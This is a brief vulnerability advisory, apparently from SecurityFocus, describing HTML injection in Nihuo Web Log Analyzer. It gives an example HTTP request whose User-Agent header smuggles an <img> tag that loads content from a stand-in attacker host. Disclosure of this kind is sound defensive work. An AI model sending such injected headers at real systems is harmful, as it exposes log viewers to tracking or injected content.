Nihuo Web Log Analyzer HTML Injection Vulnerability

An exploit is not required. Example HTTP request data was provided:

GET / HTTP/1.1
Host: www.example.com
Connection: close
Accept: text/plain
Accept-Language: en-us,en
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
User-Agent: Some-Fake-UA <img src='http://attacker.example.com/app.gif'>


 

Privacy Statement
Copyright 2010, SecurityFocus